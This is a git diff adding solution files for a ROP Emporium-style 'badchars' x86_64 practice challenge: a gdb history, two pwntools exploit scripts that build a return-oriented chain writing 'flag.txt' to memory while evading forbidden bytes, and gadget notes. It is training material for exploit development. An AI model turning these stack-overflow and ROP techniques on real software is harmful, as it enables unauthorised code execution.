5 files changed, 154 insertions, 0 deletions
diff --git a/x86_64/badchars/.gdb_history b/x86_64/badchars/.gdb_history
new file mode 100644
index 0000000..4ac679a
--- /dev/null
+++ b/x86_64/badchars/.gdb_history
@@ -0,0 +1,7 @@
+break pwnme
+run
+stepi
+return
+nexti
+stepi
+q
diff --git a/x86_64/badchars/core b/x86_64/badchars/core
new file mode 100644
index 0000000..37c439a
--- /dev/null
+++ b/x86_64/badchars/core
diff --git a/x86_64/badchars/exploit.py b/x86_64/badchars/exploit.py
new file mode 100755
index 0000000..da56cc9
--- /dev/null
+++ b/x86_64/badchars/exploit.py
@@ -0,0 +1,53 @@
+#!/usr/bin/env python3
+from pwn import *
+from time import sleep
+
+
+def strfixandcopy(dest, string, badchars, payload):
+    badchar_locations = []
+    fixed_str = b''
+    for n,l in enumerate(string):
+        if l in badchars:
+            fixed_str += bytes([ord(string[n]) - 1])
+            badchar_locations.append(n)
+        else:
+            fixed_str += bytes([ord(string[n])])
+
+    payload += p64(0x000000000040069c)  # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
+    
+    payload += fixed_str                # r12
+    payload += p64(dest)                # r13
+    payload += p64(1)                   # r14
+    payload += p64(1)                   # r15 
+
+    payload += p64(0x0000000000400634)  # moves fixed string
+
+    for badchar_location in badchar_locations:
+        payload += p64(0x00000000004006a0)  # pop r14, r15
+        payload += p64(1)
+        payload += p64(dest + badchar_location)
+        payload += p64(0x000000000040062c)  #does the adding
+
+    return(payload)
+            
+prog = process('./badchars')
+payload = b''
+for c in range(40):
+    payload += b'a'
+
+
+payload = strfixandcopy(0x601be0, 'flag.txt', 'xga.', payload)
+payload += p64(0x00000000004006a3)
+payload += p64(0x601be0)
+payload += p64(0x0000000000400510)
+payload += b"\n"
+prog.sendline(payload)
+
+sleep(0.5)
+print(str(prog.recv(), 'UTF-8'))
+prog.close()
+
+
+
+
+
diff --git a/x86_64/badchars/exploit_dirty.py b/x86_64/badchars/exploit_dirty.py
new file mode 100644
index 0000000..eab68fe
--- /dev/null
+++ b/x86_64/badchars/exploit_dirty.py
@@ -0,0 +1,54 @@
+#!/usr/bin/env python3
+from pwn import *
+from time import sleep
+
+# gotta go FAST
+# i'll make it clean when I'm not pressured for time
+
+
+prog = process('./badchars')
+payload = b''
+for c in range(40):
+    payload += b'a'
+
+payload += p64(0x000000000040069c)  # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
+payload += b'fl`f-twt'
+payload += p64(0x601be0)
+payload += p64(1)
+payload += p64(0x601be2)
+
+payload += p64(0x0000000000400634) # just pops
+
+payload += p64(0x000000000040062c) # add [r15], r14
+
+payload += p64(0x00000000004006a0) # pops
+payload += p64(1)
+payload += p64(0x601be3)
+
+
+payload += p64(0x000000000040062c) # add [r15], r14
+
+payload += p64(0x00000000004006a0) # pops
+payload += p64(1)
+payload += p64(0x601be4)
+payload += p64(0x000000000040062c) # add [r15], r14
+
+
+payload += p64(0x00000000004006a0) # pops
+payload += p64(1)
+payload += p64(0x601be6)
+payload += p64(0x000000000040062c) # add [r15], r14
+
+
+payload += p64(0x00000000004006a3) # pops rdi
+payload += p64(0x601be0)
+
+payload += p64(0x0000000000400510)
+
+
+payload += b"\n"
+prog.sendline(payload)
+
+sleep(0.5)
+print(prog.recv())
+prog.close()
diff --git a/x86_64/badchars/usefullstuff b/x86_64/badchars/usefullstuff
new file mode 100644
index 0000000..78cd6e8
--- /dev/null
+++ b/x86_64/badchars/usefullstuff
@@ -0,0 +1,40 @@
+0000000000400628 <usefulGadgets>:
+  400628:	45 30 37             	xor    BYTE PTR [r15],r14b
+  40062c:	45 00 37             	add    BYTE PTR [r15],r14b
+  400630:	45 28 37             	sub    BYTE PTR [r15],r14b
+  400634:	4d 89 65 00          	mov    QWORD PTR [r13+0x0],r12
+
+print_file@plt: 0000000000400510
+
+0x00000000004006a0 : pop r14 ; pop r15 ; ret
+
+1: 0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret      <-- to set registers
+1: 
+  r12: "flae-txt"
+  r13: 0x601be0 
+  r14: 1
+  r15: 0x601be4  
+
+2: 0x0000000000400634 : mov qword ptr [r13], r12 ; ret
+
+3: 0x000000000040062c : add [r15], r14
+
+4: 0x00000000004006a0 : pop r14 ; pop r15 ; ret
+  r14: 1
+  r15: 0x601be5
+
+5: 0x00000000004006a3 : pop rdi ; ret  
+  rdi: 0x601be0
+
+6: 0x0000000000400510 : print_file@plt
+
+
+
+
+0x00000000004006a3 : pop rdi ; ret
+
+
+.init_array: 0x601be0 [safe]
+
+we cant use: 'x', 'g', 'a', '.'
+['0x78', '0x67', '0x61', '0x2e']